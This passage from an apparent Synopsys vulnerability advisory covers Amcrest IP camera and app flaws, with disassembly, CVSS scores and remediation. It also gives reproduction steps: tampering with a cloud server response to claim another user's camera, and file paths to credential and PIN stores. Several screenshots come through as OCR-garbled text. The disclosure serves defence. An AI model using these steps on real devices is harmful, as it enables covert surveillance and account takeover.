	.text:00671718 .text:00671718 loc_671718 .text:00671718 .text:0067171A .text:0067171A .text:00671720 .text:00671720 .text:00671722	LDR ADD BLX . W CBZ LDR	; CODE XREF: parsing_wsse_header+D6 <sup>1</sup> j R1, =aUsernametokent; "UsernameTokenText" R0, SP, #0x118+var_114; this std::string::compare(char const*) R0, loc_67172C R1, =aPasswordtext; "PasswordText"
	.text:00671724 .text:00671726 .text:00671720 .text:00671720 .text:0067172C .text:0067172C .text:0067172C	ADD BLX.W CBNZ MOUS STR.W	R0, SP, #0x118+var_114 ; this std::string::compare(char const*) R0, loc_671734 ; CDDE XREF: parsing_wsse_header+108†j R4, #1 R4, [R5,#0x280]
	.text:00671732 .text:00671734; .text:00671734 .text:00671734 .text:00671734 .text:00671734 .text:00671736 .text:0067173A .text:0067173A	B LDR MOU Mous STR	loc_6716F8 ; CODE XREF: parsing_wsse_header+112 <sup>†</sup> j R3, [R6] R2, #0xFFFFFED9 R4, #0 R2, [R3,#4]
	00669718 00671718: parsing_wsse_h	eader:loc_671718	v

The sub\_603D8 then performs the authentication check and if it is incorrect passes to the function sub\_59F4C which prints the value "Sender not authorized".

II E	DA View-A 🛛 🗵	Strings window	Structures	🗵 🗄 Enums 🗵 🛐 Imports 🗵 📝 Exports 🗵	
	text:000	I5B56C	В	loc_585A2	^
-   i i	.text:000	15B56E ;			
	.text:000	15B56E			
1.1	.text:000	15B56E 1oc_5B56E		; CODE XREF: related_process_error_onvifresponses+970Tj	
	*  .text:000	I5B56E	LDR	R3, =aSenderNotAutho ; "Sender not Authorized"	
	.text:000	ISB570	MOV	R0, R4	
	.text:000	15B572	LDR	R2, =aTerNotauthoriz ; "ter:NotAuthorized"	
	.text:000	ISB574	LDR	R1, =(aStreamapp_udpm+0x12) ; " <mark>Sender</mark> "	
	.text:000	158576	STR	R3, [SP,#0x28+var_28]	
	.text:000	158578	MUUS	R3, #0	
	.text:000	15857A	BL.W	onvit response_printer	
	text:000	15857E	в	10C_585H2	
	.text:000	158580 ;			
	.text:000	158580 158580 100 FRF00		· CODE YDEE, walstad pussage owway opuifwagpapeasi6914i	
L L	tout:000	120200 TOC_20200	LDD	; GDVE AKET: FEIALEU_PTOLESS_PERTUT_DIVITTESPUNSES*0241	
	• toyt-886		MOU	pa ph	
	+ ovt - 000	55584	LDR	n⊍, n4 P2 =∋TarInu∋lidargu - "ter·Inu∋lidargU∋l"	
	+evt-000	58586	LDR	R1 ==Renziuer - "Renziuer"	
	+ovt-000	58588	STR		
	text-888	58580	LDR	R3 =aTerToomanunr 0 · "ter·TooManuPresets"	
	text:000	58580	BL_W	onuif resnonse printer	
	text:AAA	15859A	B		
	.text:000	15B592 :			
	.text:000	5B592			
	.text:000	158592 loc_58592		; CODE XREF: related_process_error_onvifresponses+962†j	
$\downarrow$	0005356E 0	005B56E: related_p	rocess_error_onvifres	ponses:loc_5B56E	¥

#### Exploitation

\_\_\_\_\_

In this case, the exploit is trivial, it is possible to identify devices that have their web interfaces exposed to the Internet by using Shodan and then all an attacker has to do is set up Burpsuite Intruder or write a custom script to exploit the vulnerability to brute force user credentials.

#### **Vulnerability discovery**

\_\_\_\_\_

The vulnerability was discovered simply by reverse engineering the "sonia" binary which is located in the /usr folder inside the firmware.

#### Contact

-----

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, <u>satam@synopsys.com</u>

#### Remediation

\_\_\_\_\_

This account timeout policy needs to be implemented even in the ONVIF authentication check.

# 5) SIG-EXT-04-2017-05 (No verification when adding camera to cloud services) -- CVE-2017-8228

#### Introduction

\_\_\_\_\_

Recently, it was identified that Amcrest cloud services does not perform a thorough verification when allowing a user to add a new Camera to the user's account. This can allow an attacker who knows the serial number to easily add another user's camera to an attacker's cloud account and control it completely. This is only possible in case of any camera that is currently not a part of any Amcrest cloud account. This issue was identified as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows the user to view and control the settings on the device.

#### Advisory

\_\_\_\_\_

#### Overview

\_\_\_\_\_

Synopsys Software Integrity Group staff identified that Amcrest cloud services does not perform a thorough verification when allowing the user to add a new Camera to the user's account. This can allow an attacker who knows the serial number to easily add another user's camera to an attacker's cloud account and control it completely. This is only possible in case of any camera that is currently not a part of any Amcrest cloud account or has been removed from the user's cloud account. Also, another requirement for a successful attack is that the user should have rebooted the camera in the last two hours. However, it seems at least for IPM-721S model the system by default ensures to reboot the device on every Wednesday at 4:30 pm. This issue exists in their latest firmware version V2.420.AC00.16.R 9/9/2016. All the firmware versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the Amcrest cloud portal and control another user's camera and spy on the user.

#### **High Severity Rating**

Using CVSS3, it has vector CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:P/RL:U/RC:R/CR:H/IR:H/AR:H/MAV:N/MAC:L /MPR:N/MUI:R/MS:U/MC:H/MI:H/MA:H

#### **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): None (N):
- Privileges Required (PR): None (N):
- User Interaction (UI): Required (R):
- Scope (S): Unchanged (U):

- Confidentiality Impact (C): High (H)
- Integrity Impact (I): High (H)
- Availability Impact (A): High (H)
- Resulting base score: 8.8 (High)

## **Temporal Metrics**

- Exploit Code Maturity: (P)
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Reasonable (R): On the basis of functional exploit written.
- Resulting temporal score: 8.0 (High).

## **Environmental Metrics**

- Confidentiality Requirement (CR): High (H)
- Integrity Requirement (IR): High (H)
- Availability Requirement (AR): High (H)
- Resulting environmental score: 8.0 (High).

The final score is thus 8.2 (High).

## **Vulnerable Versions**

\_\_\_\_\_

All versions of Amcrest IP cameras up to the latest firmware contain the vulnerability. Also in addition since the devices share similar code, based on static firmware analysis, it seems that other Amcrest devices up to the latest version might be vulnerable as well.

#### **Steps to Reproduce**

\_\_\_\_\_

- 1) Restart your Amcrest IPM-721S camera
- 2) Create a Amcrest cloud account using <a href="https://amcrest.com/cloud#section8">https://amcrest.com/cloud#section8</a>
- 3) Once your account is created, log in to the Amcrest cloud portal at <a href="https://www.amcrestcloud.com/secure-login">https://www.amcrestcloud.com/secure-login</a>
- 4) Set up Burpsuite or another proxy tool so that it can intercept the HTTPS request and responses passing to and from the browser
- 5) Click on Add new camera button
- 6) Enter the name and the serial number of your camera
- 7) Click Next and enter any username and password value
- 8) Ensure that your proxy tool can intercept and pause the HTTP request and response passing between the browser and the server
- 9) Click Next

10) When the server responds back with a failed response, change the values of "success" JSON attribute to true and "credential results" attribute to 1

# 🔺	Host	Method	URL	Params	Edited	Status	Length	MIME t
35655	https://www.amcrestcloud.com	GET	/media/cczin/28wGSo/cache/assets/is/			200	148970	script
35656	https://www.amcrestcloud.com	POST	/secure-login	J	ŏ	303	529	HTML
35657	https://www.amcrestcloud.com	GET	/sign-up/profile			301	532	HTML
35658	https://www.amcrestcloud.com	GET	/timeline			200	250117	HTML
35660	https://www.amcrestcloud.com	GET	/media/cczip/1Tlh@r/cache/assets/js/2			200	964701	script
35662	https://www.amcrestcloud.com	POST	/timeline			200	361	JSON
35668	https://www.amcrestcloud.com	POST	/timeline			200	361	JSON
35669	https://www.amcrestcloud.com	POST	/timeline	V	V	200	377	JSON
35670	https://www.amcrestcloud.com	POST	/timeline	<ul><li>✓</li></ul>		200	2053	JSON
35672	https://www.amcrestcloud.com	POST	/timeline	•		200	304	JSON
35673	https://www.amcrestcloud.com	GET	/timeline?layout=camera&tmpl=compone	•		200	12036	HTML
35675	https://www.amcrestcloud.com	POST	/timeline	•		200	304	JSON
•		DOOT	и, Б	6	-	000		10011

Request Original response Edited response

Raw Headers Hex

HTTP/1.1 200 0K Date: Thu, 23 Mar 2017 13:56:31 GMT Server: Apache X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding,User-Agent Cache-Control: max-age=0 Expires: Thu, 23 Mar 2017 13:56:31 GMT Content-Length: 96 Connection: close Content-Type: text/html; charset=UTF-8

{"success":true,"type":"success","http\_status":200,"data":{"p2pResult":1,"credentialsResult":1}}

11) Now click Next and this should add the camera to your account without performing a true credential verification

Filter: H	Filter: Hiding CSS, image and general binary content													
# 🔺	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension	Title	Comment	SSL	P	Cookies
35655	https://www.amcrestcloud.com	GET	/media/cczip/28wGSg/cache/assets/is/	0	ū	200	148970	script	is	oodaro login			54.158.250.32	
35656	https://www.amcrestcloud.com	POST	/secure-login		ō	303	529	HTML	-				54.158.250.32	9553f43ad4c4cae.
35657	https://www.amcrestcloud.com	GET	/sign-up/profile			301	532	HTML		301 Moved Permanently		•	54.158.250.32	
35658	https://www.amcrestcloud.com	GET	/timeline			200	250117	HTML		Timeline		•	54.158.250.32	
35660	https://www.amcrestcloud.com	GET	/media/cczip/1Tlh@r/cache/assets/js/2			200	964701	script	js			<ul><li>✓</li></ul>	54.158.250.32	
35662	https://www.amcrestcloud.com	POST	/timeline	•		200	361	JSON				<ul><li>✓</li></ul>	54.158.250.32	
35668	https://www.amcrestcloud.com	POST	/timeline	2								<ul> <li>✓</li> </ul>	54.158.250.32	
35669	https://www.amcrestcloud.com	POST	/timeline	<ul><li>✓</li></ul>	<ul><li>✓</li></ul>	200	377	JSON				•	54.158.250.32	
35670	https://www.amcrestcloud.com	POST	/timeline	V		200	2053	JSON				☑	54.158.250.32	
35672	https://www.amcrestcloud.com	POST	/timeline	V		200	304	JSON				<ul><li>✓</li></ul>	54.158.250.32	
35673	https://www.amcrestcloud.com	GET	/timeline?layout=camera&tmpl=compone	<b>v</b>		200	12036	HTML				<ul><li>✓</li></ul>	54.158.250.32	
35675	https://www.amcrestcloud.com	POST	/timeline	V		200	304	JSON				<ul><li>✓</li></ul>	54.158.250.32	
-		DOOT	#* P	-74		000		10.011			)	~	F + + F 0 0 F 0 00	
Requ	Request Response													
Raw Cache-	Headers Hex													
Expire	s: Thu, 23 Mar 2017 13:57	:03 GMT												
Conten	t-Length: 1771													
Connec	tion: close													

Content-Type: text/html; charset=UTF-8

{"success":true,"type":"success","http\_status":200,"data":{"ttp\_user":"cam85128","ftp\_pass":"abe767b899","live\_hostname":"https:\/\/media-anc-1.hostedcloudvideo.com","camera\_hash":"Sc01a67f
d83a9fd84b716e15e3a82d2b424736a","camera\_type": "AMCREST", "live\_mapping": "K264-RTSP-ANNOUNCE", "ptz\_support": "1", "zoom\_supported": "0", "inda\_support": "1", "sd\_card\_support": "0", "supported\_quali
ty": "1D-720P, SD-480P","camera\_sensitivity\_supported": "0", "inage\_appearance\_support": "1", "NORMAL\_FLIP\_UCHEDN", "inc\_mare\_sensitivity\_mode": "0", "inage\_appearance": "AMCREST", "lowera\_type": "AMCREST", "lowera\_type": "MCREST", "lowera\_type": "MCREST", "lowera\_type": "MCREST", "lowera\_type": "MCREST", "lowera\_type": "0", "lowera\_type": "1", "lowera\_type": "0", "lowera\_type": "1", "lowera\_type": "0", "lowera\_type": "1", "lowera\_type": "MCREST", "lowera\_type": "1", "lowera\_type": "0", "lowera\_type": "1", "lowera\_type": 1", "lowera\_type": 1",

#### **Vulnerability Description**

\_\_\_\_\_

Amcrest cloud services does not perform a thorough verification when allowing the user to add a new camera to the user's account to ensure that the user actually owns the camera other than knowing the serial number of the camera. This can allow an attacker who knows the serial number to easily add another user's camera to an attacker's cloud account and control it completely. This is possible in case of any camera that is currently not a part of an Amcrest cloud account or has been removed from the user's cloud account. Also, another requirement for a successful attack is that the user should have rebooted the camera in the last two hours. However, both of these conditions are very likely for new cameras that are sold over the Internet at many ecommerce websites or vendors that sell the Amcrest products.

The successful attack results in an attacker being able to completely control the camera which includes being able to view and listen on what the camera can see, being able to change the motion detection settings and also be able to turn the camera off without the user being aware of it.

Note: The same attack can be executed using the Amcrest Cloud mobile application.

#### Exploitation

\_\_\_\_\_

In this case, the exploit is trivial, it is possible for an attacker to enumerate the serial numbers generated for Amcrest devices and then try adding them using the HTTPS cloud APIs or writing a script that performs the same actions. The serial number format at least for IPM-721S cameras is a 15-character alphanumeric sequence staring with "AMC" initials.

The only caveat is that the camera would have to be rebooted within the last 2 hours which adds a bit of challenge to that aspect. However, it seems at least for IPM-721S model the system by default ensures to reboot the device on every Wednesday at 4:30 pm

$\leftrightarrow$ $\rightarrow$ X (i) 10.0.022	5				┦☆
👖 Apps 🍃 Hardware Rever	e Eng 🖸 Releases - iagox86/dn: 📃 B	ookmarks bar 📙 Imported		Cthe	er bookmark
	ST	Live Playback	Cloud Storage	Setup Alarm L	ogout
	Auto Maintain			Help	Center
🙆 Camera	Auto Reboot Wednesd	ay <b>v</b> 04 : 30			
Retwork	Auto Delete Old Files				
" Event	Manual Reboot				
🕒 Storage	Refresh Save				
📃 System					
General					
Manage Users					
Default Settings					
Import/Export					
Auto Maintain					
Upgrade					
(i) Information					

#### **Vulnerability discovery**

The vulnerability was discovered simply by reverse engineering the "sonia" binary which is located in the /usr folder inside the firmware and then looking at the HTTPS requests that pass back and forth between the tester's browser and the Amcrest cloud server. The testing for adding a camera to a tester's account was performed only on the camera owned by the tester.

\_\_\_\_\_

#### Contact

-----

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, <u>satam@synopsys.com</u>

#### Remediation

\_\_\_\_\_

This cloud services need to ensure that the user adding the camera actually owns the camera by verifying the local credentials and ensuring to use those credentials again in the final step of adding the camera to the user's account.

# 6) SIG-EXT-04-2017-06 (Clear Text Communication)

#### Introduction

\_\_\_\_\_

Recently it was identified that the device does not enforce SSL to be used while communicating locally on the user's wired or wireless network. This was identified as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows a user to view and control the settings on the device.

#### Advisory

-----

#### Overview

-----

Synopsys Software Integrity Group staff identified that the device does not enforce SSL to be used while communicating locally on the user's wired or wireless network. Based on cursory analysis of other Amcrest products, this might be prevalent in all the Amcrest IP cameras and other Amcrest products. This issue exists in their latest firmware version V2.420.AC00.16.R 9/9/2016. All the firmware versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the web and HTTP API and view the screen.

#### **High Severity Rating**

Using CVSS3, it has vector CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:L/ MPR:L/MS:U/MC:H/MI:H/MA:H

#### **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): High (L):
- Privileges Required (PR): Low (L):
- User Interaction (UI): Required (R):
- Scope (S): Unchanged (U):

- Confidentiality Impact (C): High (H):
- Integrity Impact (I): High (H):
- Availability Impact (A): High (H):
- Resulting base score: 8.8 (High)

# **Temporal Metrics**

- Exploit Code Maturity (F):
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Confirmed (C): On the basis of functional exploit written.
- Resulting temporal score: 8.6 (High).

# **Environmental Metrics**

- Confidentiality Requirement (CR): Med (H):
- Integrity Requirement (IR): Med (H):
- Availability Requirement (AR): Med (H
- Resulting environmental score: 8.8 (High).

The final score is thus 8.8 (High).

# **Vulnerable Versions**

\_\_\_\_\_

All versions of Amcrest IP cameras up to the latest firmware contain the vulnerability. Also in addition since the devices share similar code, based on just static firmware analysis, it seems that other Amcrest devices up to the latest version should be vulnerable as well.

# **Steps to Reproduce**

-----

- 7) Navigate to <a href="http://[IP">http://[IP</a> ADDRESS OF CAMERA]
- 8) Log into the device using the device credentials
- 9) Observe that the device loads the page without using SSL



#### **Vulnerability Description**

We believe strong communication encryption is the key to protect against eavesdropping or tampering attacks. This applies to all communication that takes place between the device and Internet as well as on the local network. We identified that the device allows to connect to web management interface on non-SSL connection using plain text HTTP protocol and when remote management is enabled, that is exposed on the Internet as well

# Exploitation

A large number of users would connect this camera using wireless network. If the network that it is connected too is an unencrypted wireless network such as in SOHO offices or cafes or small businesses. Then an attacker can easily sniff the credentials traveling over that wireless network. As all an attacker would have to do in that case is sniff the wireless packets which can be performed by using open source tools and with a cheap tablet or laptop. Otherwise an attacker would need to have a man in the middle position established on the Internet. This might be possible by attacking Internet Service providers and then using DNS based redirection attacks which would allow an attacker to sniff all the traffic passing between various nodes.

#### **Vulnerability discovery**

\_\_\_\_\_

The vulnerability was discovered by manual pentesting the web management interface.

#### Contact

-----

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, satam@synopsys.com

#### Remediation

-----

It is necessary to enforce SSL to be used by the device even on user's local networks.

# 7) SIG-EXT-04-2017-07 (Insecure Data Storage: Clear text credentials)

#### Introduction

-----

Recently it was identified that the Android application AmcrestView-Pro provided by Amcrest Technologies has been storing the credentials of the device in clear text on Android or iOS device. This was identified as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows a user to view and control the settings on the device.

#### Advisory

\_\_\_\_\_

#### Overview

-----

Synopsys Software Integrity Group staff identified identified that the Android application AmcrestView-Pro provided by Amcrest Technologies has been storing the credentials of the device in clear text on Android or iOS device. The issue exists in the most recent Android application installed by the researchers on 7/19/17. All the application versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the web and HTTP API and view the screen.

#### **High Severity Rating**

Using CVSS3, it has vector CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:L/ MPR:L/MS:U/MC:H/MI:H/MA:H

#### **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): High (L):
- Privileges Required (PR): Low (L):
- User Interaction (UI): Required (R):
- Scope (S): Unchanged (U):
- Confidentiality Impact (C): High (H):
- Integrity Impact (I): High (H):
- Availability Impact (A): High (H):
- Resulting base score: 8.8 (High)

#### **Temporal Metrics**

- Exploit Code Maturity (F):
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Confirmed (C): On the basis of functional exploit written.
- Resulting temporal score: 8.6 (High).

#### **Environmental Metrics**

- Confidentiality Requirement (CR): Med (H):
- Integrity Requirement (IR): Med (H):
- Availability Requirement (AR): Med (H
- Resulting environmental score: 8.8 (High).

The final score is thus 8.8 (High).

#### **Vulnerable Versions**

\_\_\_\_\_

All versions of AmcrestView Pro applications up to the latest version contain the vulnerability..

#### **Steps to Reproduce**

\_\_\_\_\_

- 1) Navigate to "/data/data/com.mm.android.direct.AmcrestViewPro/databases"
- 2) Extract the devicechannel.db file

3)	Click on the	file and search	for your password
----	--------------	-----------------	-------------------

퉒 databases - root@10.0.0.	76 - WinSCP									-	Ő	X	
Local Mark Files Commands Session Options Remote Help													
🖶 🚼 🝃 Synchronize	🔛 😤 😓 Synchronize 関 🧬 😨 🚳 🕼 🕼 Queue 🔹 Transfer Settings Default 🔹 🧬												
📮 root@10.0.0.76 🙀 New Session													
Desktop -	🖆 🔽 🔍	<b>⊨ •</b> ⇒ • 🔂 🕅	û 2 🐁		📘 databases 🔹 🕈 🚰 🔽	🗣 🔹 🔿 🔹 💼 🔁 💼 Fi	ind Files	) •					
📳 Upload 👔 📝 Edit	<b>X</b> 🔏 🔓	Properties 📑 🚡 🛙	+ - 🗸		😭 Download 🙀 📝 Edit 🗙 🚮 🕞 Properties 🎽 🚡 🛛 🛨 📼 🕅								
C:\Users\romeo\Desktop					/data/data/com.mm.android.direct.AmcrestViewPro/databases								
Name	Size	Туре	Changed	^	Name		Size	Changed	Rights	Own	er		
•		Parent directory	7/19/2017 10:12:03 AI	N	<b>•</b>			- 7/19/2017 10:01:15 AM	rwxr-xx	u0 a	107		
Alexa		File folder	1/20/2017 3:05:00 PM		devicechannel.db-iournal		13 KB	7/19/2017 10:03:32 AM	rw	u0 a	107		
android workspace		File folder	4/5/2016 11:43:36 AM		devicechannel.db		48 KB	7/19/2017 10:03:32 AM	rw-rw	u0 a	107		
android-support-v7-a		File folder	7/10/2017 2:57:42 PM							-		_	
Broadcom		File folder	6/23/2017 2:11:44 PM	📝 /data/data	/com.mm.android.direct.AmcrestV	ewPro/databases/devicechannel.db - roo	ot@10.0.0.7	6 - Editor - WinSCP		-		Х	
FDNS		File folder	4/3/2017 8:23:40 PM		k 🖒 🖌 🖬 🐂 🖉 🙀 🎍	🗑 🔲 Encoding y 🗆 Color y 🦓 🛛	0						
fetlife		File folder	6/24/2017 9:55:06 PM		6 🗉 🔨 😐 🖉 🖌 🗛 🎭		<b>v</b>						
fucker		File folder	7/14/2017 3:15:34 PM									^	
Hardware hacking tut		File folder	11/22/2016 4:57:35 PM										
loT		File folder	7/11/2017 4:47:22 PM										
Misc PDFs		File folder	2/25/2017 6:54:37 PM										
Pics		File folder	7/14/2017 10:30:26 PM										
Security PDFs		File folder	6/9/2017 5:27:29 PM										
sms_reader_blog_de		File folder	7/14/2017 10:18:22 AI										
Spam Cartel		File folder	2/6/2017 11:18:54 AM										
test		File folder	7/8/2017 10:38:00 AM										
Text Files		File folder	7/8/2017 10:41:09 AM										
Triveni		File folder	7/17/2017 9:04:38 PM					00 0 en_US					
🗾 braintree_property_1	206 KB	Adobe Acrobat D	7/1/2017 9:25:22 PM		_								
🗾 Hacking+loT+for+Bu	47,544 KB	Adobe Acrobat D	7/17/2017 8:00:40 PM	00000 AMC00	)1G1598U14QD16 "'admin <mark>te</mark>	<mark>st12</mark> 34sexyd1831a58-a7fe-4b7	7f-9c8c-	3132e3fd9582					
📄 app.bin	874 KB	BIN File	3/15/2017 4:50:46 PM										
📀 CSRF-Exploit-Gen.html	7 KB	Chrome HTML Do	9/27/2010 4:16:14 PM	000#	prechannels								
💿 test.html	115 KB	Chrome HTML Do	5/13/2017 9:56:15 AM										
sms_reader_blog_de	98 KB	Compressed (zipp	6/26/2017 3:46:54 PM										
devicechannel.db	48 KB	Data Base File	7/19/2017 10:03:32 AI				In						
nn idh	10 057 KR	INA Natahara	7///2017 2:28:52 DM			000:0	U					v -	
0 B of 54,759 MB in 0 of 39				<								>	
				Line: 22/05	Column: 005	Encod	ina: 1252 <i>(</i>	te I - I2IAA					

#### Vulnerability Description

We decided to focus on the final attack surface which is any data that the mobile application stores in the device in clear text that can allow an attacker to take control of the device in any way. As discussed before this specific issue is not new for mobile application developers and we have seen that this issue has plagued a large number of mobile devices that range from commercial to social network based mobile applications. As IoT manufacturers race to be a part of creating mobile applications for their devices, they need to be aware of the risk that is introduced by insecurely storing sessions tokens or credentials used to control cloud services by these mobile applications. In case of Amcrest mobile application "Amcrest View Pro", it was identified that the application stores a device's administrative username and a password in clear text. This is enough for an attacker who has physical access to a user's device or a malware application that is able to root/jailbreak the device and is able to grab the file to gain access to the user's device credentials

#### Exploitation

An attacker who has been able to gain access to the user's device physically can root the device and then be able to access the file devicechannel.db located in

"/data/data/com.mm.android.direct.AmcrestViewPro/databases" folder on an Android device. Also, as discussed earlier, a malware application installed by a user accidentally can also allow a remote attacker to jailbreak/root the device and then be able to grab the file with encoded credentials which would allow an attacker to control the user's device. After grabbing the credential file, we can observe that the user's credentials are stored this way. Also other sensitive information such as DDNS password and username and PIN used by the application to allow access to the application is also stored in clear text on the device in the /data/data/com.mm.android.direct.AmcrestViewPro/shared\_prefs folder.

攝 shared_prefs - root@10.0.0.76 - WinSCP			-								
Local Mark Files Commands Session Options Remote H	Local Mark Files Commands Session Options Remote Help										
🖽 🎇 🔁 Synchronize 👿 🐙 😰 🖗 🖳 🖗 Queue + Transfer Settings Default 🔹 🧬 -											
📮 root@10.0.0.76 🚅 New Session											
📃 Desktop 🔹 🚰 🛐 🗢 🔹 🖘 🐔 🔝 🕻	1) <b>2</b> 🔁	📙 shared_prefs 🔹 🔗 🕎 🔄 🗢 🔹 🔂 😭 🏠 🌮 🦬 Find Files 🔒									
🕼 Upload 🏢 📝 Edit 🗶 🚮 🕞 Properties 📑 🕞 🖡	F - 🗸	😭 Download 🙀 📝 Edit 🗙 🚮 🔓 Properties 🚔 🕞 া 🛨 📼 🗑									
C:\Users\romeo\Desktop		/data/data/com.mm.android.direct.AmcrestViewPro/shared_prefs									
Name Size Type	Changed ^	Name	Size Changed Rights Owr	ier							
Parent directory Alexa File folder android_workspace Broadcom File folder File folder FDNS File folder fulfer File folder File fo	7/19/2017 10:08:22 AM 1/20/2017 3:05:00 PM 4/5/2016 11:43:36 AM 6/23/2017 2:11:44 PM 4/3/2017 2:11:44 PM 4/3/2017 8:23:40 PM 6/24/2017 9:55:06 PM 7/14/2017 3:15:34 PM 11/22/2016 4:57:35 PM 7/11/2017 4:47:22 PM 2/25/2017 6:54:37 PM	dss_onfig.xml     dss_password.xml     preview_guide.xml     FLURRY_SHARED_PREFERENCES.xml     com.google.android.c2dm.xml     demoGroup.xml     demoDevice.xml     demoDevice.xml     com.google.android.c2dm.xml     com.google.android.c2dm.xml     demoDevice.xml     com.google.android.c2dm.xml     com.goo	7/19/2017 10:01:15 AM       nvxr-xx       u0_z         1 KB       7/19/2017 10:05:13 AM       nv-rw       u0_z         1 KB       7/19/2017 10:03:04 AM       nv-rw       u0_z         1 KB       7/19/2017 10:03:04 AM       nv-rw       u0_z         1 KB       7/19/2017 10:03:04 AM       nv-rw       u0_z         1 KB       7/19/2017 10:01:19 AM       nv-rw       u0_z         mcrestViewPro/shared_prefs/dss_password       -	107 107 107 107 107 107 							
Pics     File folder       Security PDFs     File folder       sms_reader_blog_de     File folder       Span Cartel     File folder       Text Files     File folder       Triveni     File folder       Data Files     File folder       Triveni     206 KB       Adobe Acrobat D     206 KB       Adobe Acrobat D     3pp.bin       874 KB     BIN File       © CSRF-Exploit-Gen.html     7KB       Chrome HTML Do     98 KB       Compressed (zipp     98 KB       G devicehannel.db     48 KB       Data Base File     10.057 KB       Da G62704 MI     0. 10.077 KB	7/14/2017 10:30:26 PM 6/9/2017 5:27:29 PM 7/14/2017 10:18:22 AM 7/8/2017 10:18:24 AM 7/8/2017 10:41:09 AM 7/8/2017 10:41:09 AM 7/17/2017 9:04:38 PM 7/17/2017 9:04:38 PM 7/17/2017 9:50:46 PM 9/27/2010 4:16:14 PM 5/13/2017 9:56:15 AM 6/26/2017 9:56:15 AM 6/26/2017 9:36:32 AM 7/1/9/2017 10:03:32 AM	<string name="password"></string>	1111 value="true" />								
0 B of 54,758 MB in 0 of 37	1 hidden	192 B of 1,366 B in 1 of 7 Line: 1/6 Column: 1	Character: 60 (0x 5 oding: 1252 TP-3	(ANSI - Lat 0:04:17							

Clear text PIN number stored in the folder

#### Vulnerability discovery

-----

The vulnerability was discovered by manual pentesting the mobile application AmcrestView-Pro.

#### Contact

\_\_\_\_\_

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, satam@synopsys.com

#### Remediation

-----

It is necessary that the application uses PBKDF2 encryption based mechanisms to store the credentials of the device.

# 8) SIG-EXT-04-2017-08 (Insecure Data Storage: Recording and Images on SDcard)

#### Introduction

\_\_\_\_\_

Recently it was identified that the Android application AmcrestView-Pro provided by Amcrest Technologies has been storing the recordings and images that the application generates using the Amcrest IPM-721S camera on the sdcard of the device in clear text on an Android device. This was identified as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows a user to view and control the settings on the device.

#### Advisory

------

#### Overview

\_\_\_\_\_

Synopsys Software Integrity Group staff identified that the Android application AmcrestView-Pro provided by Amcrest Technologies has been storing the recordings and images that the application generates using the Amcrest IPM-721S camera on the sdcard of the device in clear text on an Android device. The issue exists in the most recent Android application installed by the researchers on 7/19/17. All the application versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the web and HTTP API and view the screen.

#### **High Severity Rating**

Using CVSS3, it has vector CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:L/ MPR:L/MS:U/MC:H/MI:H/MA:H

# **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): High (L):
- Privileges Required (PR): Low (L):
- User Interaction (UI): Required (R):
- Scope (S): Unchanged (U):
- Confidentiality Impact (C): High (H):
- Integrity Impact (I): High (H):
- Availability Impact (A): High (H):
- Resulting base score: 8.8 (High)

# **Temporal Metrics**

- Exploit Code Maturity (F):
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Confirmed (C): On the basis of functional exploit written.
- Resulting temporal score: 8.6 (High).

# **Environmental Metrics**

- Confidentiality Requirement (CR): Med (H):
- Integrity Requirement (IR): Med (H):
- Availability Requirement (AR): Med (H
- Resulting environmental score: 8.8 (High).

The final score is thus 8.8 (High).

# **Vulnerable Versions**

\_\_\_\_\_

All versions of AmcrestView Pro applications up to the latest version as of 7/19/17 contain the vulnerability.

# Steps to Reproduce

\_\_\_\_\_

- 1) Navigate to "/sdcard/snapshot/video/"
- 2) Observe that the files are in clear text on the device

<b>F</b>	ı video - root@10.0.0.76 - 1	WinSCP								_	٥	х				
Į.	ocal Mark Files Comm	nands Sessi	on Options Remote	Help												
	🎛 🔁 🍃 Synchronize 🗧 🧬 😰 🖗 😰 📦 Queue 🔹 Transfer Settings Default 🔹 🧭 🔹															
Ļ	📮 root@10.0.076 📑 New Session															
	Desktop -	🔗 🔽 🖣	⊨ • ⇒ • 🔁 🔽	û 2 %		🗧 video 🔹 🚰 😨 ഻ 🗢 🔹 💼 🔂 🏠 🥰 🐘 Find Files 🔧										
	🗑 Upload 👔 📝 Edit 🔅	X 🔏 🕞	Properties 📑 🚡 🛙	+ - 🛛		😭 Download 🙀 📝 Edit 🗙 🛃 🕞 Properties 🚔 🕞 🕴 🗕 🗑										
C:	\Users\romeo\Desktop					/storage/emulated/legacy/snapshot/video										
N	ame	Size	Туре	Changed	^	Name	Size	Changed	Rights	Owner						
÷			Parent directory	7/19/2017 10:16:06 AM		<b>t</b>		7/19/2017 10:17:26 AM	rwxrwx	root						
